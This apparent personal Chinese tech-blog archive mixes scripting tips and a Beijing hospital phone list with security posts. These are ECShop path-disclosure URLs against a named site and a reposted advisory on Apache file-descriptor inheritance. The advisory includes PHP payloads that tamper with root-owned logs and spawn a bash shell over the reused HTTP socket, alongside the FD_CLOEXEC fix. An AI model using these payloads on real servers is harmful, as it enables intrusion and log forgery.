2011
03.30

Ecshop 爆路径

respond.php?code=cod

整理资料时无意发现的

2011
03.13

sed跨行替换

sed -i -e “:begin; /start/,/end/ { /end/! { $! { N; b begin }; }; s/start.*end/replace/; };”   1.txt

2011
03.10

U盘挂了

送中关村去 读芯片把数据弄出来了 结果恢复了只有部分数据 有用的一点也没找到 :-(

很多地方都用的随机生成的密码 结果就杯具了  连blog的密码也是才用密码找回的功能找回来

替人维护的服务器的密码忘了也就忘了 关键自己平时写的脚本小程序什么的也都没了

从一些地方找到自己以前写的程序 发现自己都看不懂了

借这个机会重新整理 把一些东西完善一下

2010
12.24
Function encodeURI(ByVal sBuff)
Dim oScriptControl
Dim oJavaScript
Set oScriptControl = WScript.CreateObject(“ScriptControl”)
oScriptControl.Language = “JavaScript”
Set oJavaScript = oScriptControl.CodeObject
encodeURI = oJavaScript.encodeURI(sBuff)
Set oJavaScript = Nothing
Set oScriptControl = Nothing
End Function
2010
11.30

EMail: wofeiwo#80sec.com
Site: http://www.80sec.com
Date: 2010-11-20

[ 目录 ]
0×00 背景
0×01 POC
0×02 深入利用
0×03 解决方案及后话

0×00 前言

在初学linux编程的时候,都会知道这样一个概念:当你用fork建立一个子进程,父进程的所有内容会被“完完整整”的复制到子进程中。子进程是父进程的一个clone体,除了pid不同,其余一切相同。
再试想一下这样的场景:在Webserver中,首先会使用root权限启动,以此打开root权限才能打开的端口、日志等文件。然后降权到普通用户,fork出一些worker进程,这些进程中再进行解析脚本、写日志、输出结果等进一步操作。
然而这里,仔细思考一下,就会发现隐含一个安全问题:子进程中既然继承了父进程的FD,那么子进程中运行的PHP或其他脚本只需要继续操作这些FD,就能够使用普通权限“越权”操作root用户才能操作的文件。

0×01 POC

为了验证这个想法,我们做了一个POC。测试环境apache2.2.4+mod_php 5.2.14
首先我们查看任意一个apache的worker进程的fd:

[root@testplat ~]# pidof httpd
11117 21009 10472
[root@testplat ~]# cd /proc/21009/fd
[root@testplat fd]# ls -alh
dr-x------ 2 root root 0 11ÔÂ 11 16:44 .
dr-xr-xr-x 4 daemon daemon 0 11ÔÂ 11 16:42 ..
lr-x------ 1 root root 64 11ÔÂ 11 16:44 0 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 1 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 2 -> /usr/local/apache2/logs/error_log
lrwx------ 1 root root 64 11ÔÂ 11 16:44 3 -> socket:[155615]
lr-x------ 1 root root 64 11ÔÂ 11 16:44 4 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 5 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 6 -> /usr/local/apache2/logs/error_log
l-wx------ 1 root root 64 11ÔÂ 11 16:44 7 -> /usr/local/apache2/logs/access_log

lr-x------ 1 root root 64 11ÔÂ 11 16:44 8 -> eventpoll:[166489]
[root@testplat fd]# ps aux | grep httpd
root 10472 0.0 0.0 74300 2524 ? Ss Nov11 0:04 /usr/local/apache2/bin/httpd -k start
daemon 21009 0.0 0.0 74476 4492 ? S Nov11 0:00 /usr/local/apache2/bin/httpd -k start
daemon 11117 0.0 0.0 74360 4028 ? S Nov12 0:00 /usr/local/apache2/bin/httpd -k start
root 31101 0.0 0.0 51208 456 pts/0 R+ 14:07 0:00 grep httpd

如上所示,果然在apache的子进程中保存了日志的句柄,apache自身是daemon权限,而这两个句柄则是root身份打开的。我们试试利用php fork出来一个进程是否能够继续“越权”写入此句柄。

<?php system("echo 12345 >&6");?>

访问一下,看看是不是的确将12345写入到了root的errorlog中。

[root@testplat htdocs]# tail ../logs/error_log
[Fri Nov 12 13:54:32 2010] [error] [client 172.21.153.169] request failed: error reading the headers
[Fri Nov 12 18:12:53 2010] [error] [client 172.21.153.169] request failed: error reading the headers
12345
[root@testplat htdocs]# ls -alh ../logs/error_log
-rw-r--r-- 1 root root 34M 11ÔÂ 15 14:54 ../logs/error_log

很好,写进去了。完美的证实了我们的想法。既然能够只用一个低权限的webshell就能读写web日志,那么以后所有的Web日志将不再有可靠性,任何信息都能加以伪造。当然伪造或删改日志不会如此简单,还有一些限制需要一定步骤,有心人继续研究吧。

0×02 深入利用

换一种思路,既然文件可以读写,那么webserver的80端口socket是否也能加以利用呢?linux系统所有都是文件,既然都是FD,肯定也能适用。首先找一下我们连接的FD号,我这里测试时写死为9,因为肯定是第一个连接:

<?php
system("python -c 'import pty;pty.spawn(\"/bin/bash\")' 1>&9 0>&9 2>&9 ;" );
?>

接着我们用nc访问一下我们的脚本:

C:\Users\GaRY>nc testplat 80
GET /shell.php HTTP/1.0
bash: /root/.bashrc: 权限不够
bash-3.00$ id
id
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
bash-3.00$ exit
exit
exit
HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 07:16:25 GMT
Server: Apache/2.2.4 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 0
Connection: close
Content-Type: text/html

可见成功复用了我们连接服务器的socket,直接nc提交一个GET请求之后就返回了一个交互式的shell。这一切只需要一个简单的webshell即可完成。
利用80端口的socket复用,我们继续下去可以做穿墙等一系列更为猥琐的事情。

0×03 解决方案及后话

通过上文的分析,我们了解到,利用linux特性FD的继承,将会导致非常严重的越权问题。这本身就可以算作是一种类型的安全漏洞,不仅仅是apache,不仅仅是webserver,可能其他的网络应用都会存在类似的漏洞。
实际上Linux系统自身在设计时也考虑到了这一类安全问题。系统给出的解决方案是:close_on_exec。当父进程打开文件时,只需要应用程序设置FD_CLOSEXEC标志位,则当fork后exec其他程序的时候,内核自动会将其继承的父进程FD关闭。
这样就解决了以上说明的问题,因为当你system其他进程时,所有的fd将不再继承,则无法再利用。而你作为较低权限的进程,也无法自己打开这些文件,所有操作都会报告权限不足。
在撰写此文时,发现Apache已经意识到了此安全问题,并在最近的版本中修复了,对所有打开的FD都加入了FD_CLOSEXEC标识符。参见:https://issues.apache.org/bugzilla/show_bug.cgi?id=46425
但是(是的,还有但是),这个解决方案并不完美。内核认为,只有你在fork后再执行exec调用时,才会帮你去除这些继承的FD,而如果我一切操作都在exec之前完成,那所有的保护都将是浮云。如何做到这一切?如果php自身是通过mod_php加载入apache自身的进程空间,而通过PHP的ld函数,又可以加载一个动态链接库进入本进程上下文。这样,由于没有进行exec,因此fd依旧继承,在so中写入代码操作FD,同样可以读写修改日志文件,或者复用socket。
那如何完美的解决此问题呢?我想除非只有apache修改自身架构,子进程和主进程交互,告知每次访问的结果和数据,主进程负责写日志和输出结果。这样无需在子进程中留下任何文件句柄,单单负责脚本解析即可。子进程交给主进程的信息可能是假的,然而这样至少不能影响到之前的信息。

2010
11.25

Shift +
Ctrl ^
Alt %
BACKSPACE {BACKSPACE}, {BS}, or {BKSP}
BREAK {BREAK}
CAPS LOCK {CAPSLOCK}
DEL or DELETE {DELETE} or {DEL}
DOWN ARROW {DOWN}
END {END}
ENTER {ENTER}or ~
ESC {ESC}
HELP {HELP}
HOME {HOME}
INS or INSERT {INSERT} or {INS}
LEFT ARROW {LEFT}
NUM LOCK {NUMLOCK}
PAGE DOWN {PGDN}
PAGE UP {PGUP}
PRINT SCREEN {PRTSC}
RIGHT ARROW {RIGHT}
SCROLL LOCK {SCROLLLOCK}
TAB {TAB}
UP ARROW {UP}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
F13 {F13}
F14 {F14}
F15 {F15}

最后还补充一个键 就是windows键

Set WshShell = CreateObject("Wscript.Shell")
WshShell.SendKeys "^{esc}"
2010
10.15
北京市三级医院电话预约挂号一览表
序号 医院名称 预约电话号码 服务时间 每日号源投放时间 预约期限
1 北京医院 85133232 24小时 提前两天 提前两天
2 中日友好医院 114 24小时 8:30 7天
3 北京协和医院 114 全天 8:00 7日
4 阜外心血管病医院 114 24小时 上午9点 一周
5 中国医学科学院肿瘤医院 门诊114;特需67748905 114:24小时;特需:8:00-11:00;13:30-16:00 114:9:00-15:00;特需:8:00-11:00;13:30-16:00 114:一周内;特需:2个月内
6 整形外科医院 88772233 8:00-10:30 全天 一周内
7 北京大学第一医院 66552531 9:00-15:00 7:00-9:30;13:00-14:30 5天
8 北京大学人民医院 88324600 24小时 早9:00 5个工作日
9 北京大学第三医院 82021168 24小时 0:00 3天
10 北京大学第六医院 82801984 24小时 8:00 48小时
11 北京大学口腔医院 62179665;62199776 8:00-11:00;13:00-16:00 一周前 一周
12 北京大学首钢医院 88294377 8:00-16:00 7:30 一周内
13 同仁医院 58266699;11616669 8:30-16:30 8:00 3天
14 天坛医院 67002600 7:00-22:00;双休日:8:00-18:00 7:00 一个月
15 友谊医院 63139881-9884;63040910;63024858 24小时 每日早8:00 1周
16 宣武医院 83172008 24小时 下午14:00 5天
17 朝阳医院 85231122 周一-周五:7:30-22:00;周六日:7:30-17:00 7:30 一周制预约
18 安贞医院 64456894/95;12580 7:30-16:30 7:30 7天
19 北京佑安医院 83997201 8:00-16:00 8:00-16:00 一周之内
20 北京儿童医院 59718777 8:00-16:00 8:00-16:00 7天
21 北京安定医院 58303270;58303271 8:00-15:00 8:00-15:00 2天
22 北京世纪坛医院 12580 8:00-20:00 8:00 2天
23 北京口腔医院 12580 8:00-20:00 8:00 7天
24 北京积水潭医院 58516999 周一-周五:8:00-22:00 周一-周五:8:00-22:00 预约未来四个工作日
25 北京中医医院 52176900 8:00-16:00 提前2天 2天
26 首都儿科研究所附属儿童医院 85695755/56/57 8:00-15:00 8:00开始 提前三天
27 北京回龙观医院 4006120115 8:00-21:00 每日中午12点 一个月
28 北京妇产医院 12580 24小时 9:00 3天
29 北京地坛医院 84702288 8:00-16:00,节假日除外 一周前 2周
30 北京肿瘤医院 88128587;88196155 8:00-15:00 每日早8:00 一周内
31 北京胸科医院 89509100;89509111 周一-周五8:00-15:00 每日晨8:00 1周
32 北京小汤山医院 61789150 8:00-22:00 8:00 1周
33 北京老年医院 62402950 周一至周五8:00-16:00 早7:30 三天
34 复兴医院 88062588;88062587 8:00-11:30;13:00-15:00 提前2天 2天
35 北京博爱医院 89628698 14:00-20:00 7:00-10:30;13:00-15:30 2天
36 煤炭总医院 84512685 8:00-17:30(周一-周五) 8:00-17:30 提前三个工作日
37 北京燕化医院 69346803;80345566-1111 8:00-12:00;13:30-17:00;节假日除外 一周 一周(不含预约当日)
38 北京华信医院
39 航天中心医院 59971160 24小时 每日晨8:00 提前三天
40 北京电力医院 63322936 周一至周五上午8:00;下午5:00 早8:00 提前两天
41 北京京煤集团总医院 69820541 8:00-16:00 8:00-16:00 提前一周
42 民航总医院 010-85760010 8:00-17:00 全天 一周内
43 广安门医院 88001113;88001465;88001466;83127487 14小时 8:00-15:00;16:00-23:00 三天
44 西苑医院 62656816 8:30-15:00 提前一天 1天
45 东直门医院 12580 9:30-20:00 9:30-16:00 提前2天
46 北京中医药大学东方医院 67689974 10:00-16:00 10:00 32小时
47 望京医院 12580 8:00-15:00 7:30-4:30 提前两周
48 北京市宣武区中医医院 63159610 8:00-15:00 每日早8:00 3天
49 中国中医科学院眼科医院 68683094;68688877-6617 9:00-17:00 9:00 提前1天
注:

1.部分医院电话预约需先办理电话预约卡,请注意各医院电话预约办理须知。

2.目前公示的各医院电话预约时间可能会根据患者需求进行动态调整,患者需密切留意医院门诊公示的有关信息。

3.相关医院网址可到北京卫生信息网卫生系统网站群导航中查询。

2010
08.10

ecshop的48个爆路径

弄了个小程序跑了下 发现竟然有这么多
http://left.zuobianyoubian.com/shop/api/cron.php
http://left.zuobianyoubian.com/shop/wap/goods.php
http://left.zuobianyoubian.com/shop/temp/compiled/ur_here.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/pages.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/user_transaction.dwt.php
http://left.zuobianyoubian.com/shop/temp/compiled/history.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/page_footer.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/goods.dwt.php
http://left.zuobianyoubian.com/shop/temp/compiled/user_clips.dwt.php
http://left.zuobianyoubian.com/shop/temp/compiled/goods_article.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/comments_list.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/recommend_promotion.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/search.dwt.php
http://left.zuobianyoubian.com/shop/temp/compiled/category_tree.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/user_passport.dwt.php
http://left.zuobianyoubian.com/shop/temp/compiled/promotion_info.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/user_menu.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/message.dwt.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/pagefooter.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/page.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/start.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/goods_search.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/index.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/order_list.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/menu.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/login.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/message.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/goods_list.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/pageheader.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/admin/top.htm.php
http://left.zuobianyoubian.com/shop/temp/compiled/top10.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/member_info.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/bought_goods.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/goods_related.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/page_header.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/goods_script.html.php
http://left.zuobianyoubian.com/shop/temp/compiled/index.dwt.php
http://left.zuobianyoubian.com/shop/temp/compiled/goods_fittings.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/myship.dwt.php
http://left.zuobianyoubian.com/shop/temp/compiled/brands.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/help.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/goods_gallery.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/comments.lbi.php
http://left.zuobianyoubian.com/shop/temp/compiled/myship.lbi.php
http://left.zuobianyoubian.com/shop/includes/fckeditor/editor/dialog/fck_spellerpages/spel
lerpages/server-scripts/spellchecker.php
http://left.zuobianyoubian.com/shop/includes/modules/cron/auto_manage.php
http://left.zuobianyoubian.com/shop/includes/modules/cron/ipdel.php
2010
07.02

反思 反思 反思

生活工作学习都越来越没激情

感觉很多方面都退步了

以前很累但真的很充实

现在也很累 但是 ……

2010
07.01

以前记得用setRequestHeader修改cookie没什么问题的   最近用却总失败

最后发现createobject(“Microsoft.XMLHTTP”) 修改为createobject(“Msxml2.ServerXMLHTTP”) 设置cookie成功

LOG一下